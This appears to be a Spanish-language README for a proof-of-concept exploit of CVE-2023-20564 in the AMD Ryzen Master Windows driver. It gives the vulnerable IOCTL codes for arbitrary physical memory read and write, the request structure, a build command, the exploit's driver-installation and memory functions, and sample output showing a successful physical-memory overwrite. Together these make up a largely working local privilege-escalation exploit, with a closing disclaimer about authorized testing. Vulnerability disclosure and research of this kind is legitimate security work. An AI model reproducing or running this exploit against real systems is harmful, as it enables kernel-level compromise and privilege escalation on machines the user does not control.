
Exploit de prueba de concepto para CVE-2023-20564 que demuestra lectura/escritura arbitraria de memoria física a través de los manejadores IOCTL del controlador AMD Ryzen Master, permitiendo la escalada de privilegios en Windows.
Este repositorio contiene una Prueba de Concepto (PoC) que demuestra la vulnerabilidad CVE-2023-20564 en el Driver AMD Ryzen Master. La vulnerabilidad permite a usuarios no privilegiados leer y escribir memoria física arbitraria, lo que conduce a una posible escalada de privilegios y compromiso del sistema.
El driver AMD Ryzen Master (AMDRyzenMasterDriverV17.sys) contiene una validación insuficiente en sus manejadores IOCTL, específicamente:
0x81112F08 - Permite leer memoria física arbitraria0x81112F0C - Permite escribir memoria física arbitrariaEl driver no valida adecuadamente:
Esto permite que aplicaciones maliciosas:
AMDRyzenMasterDriverV17.sys - El archivo del driver vulnerable# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - Leer desde memoria físicaWritePhysicalMemory() - Escribir en memoria físicaTestReadWriteVerify() - Secuencia de prueba completaInstallDriverService() - Instalación del driverStopAndRemoveDriverService() - Limpieza del driver===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
El driver vulnerable expone dos IOCTLs principales:
Lectura de Memoria Física (0x81112F08)
Escritura de Memoria Física (0x81112F0C)
Recuerde: Esta herramienta es solo para pruebas de seguridad autorizadas. Siempre obtenga el permiso adecuado antes de realizar pruebas en cualquier sistema.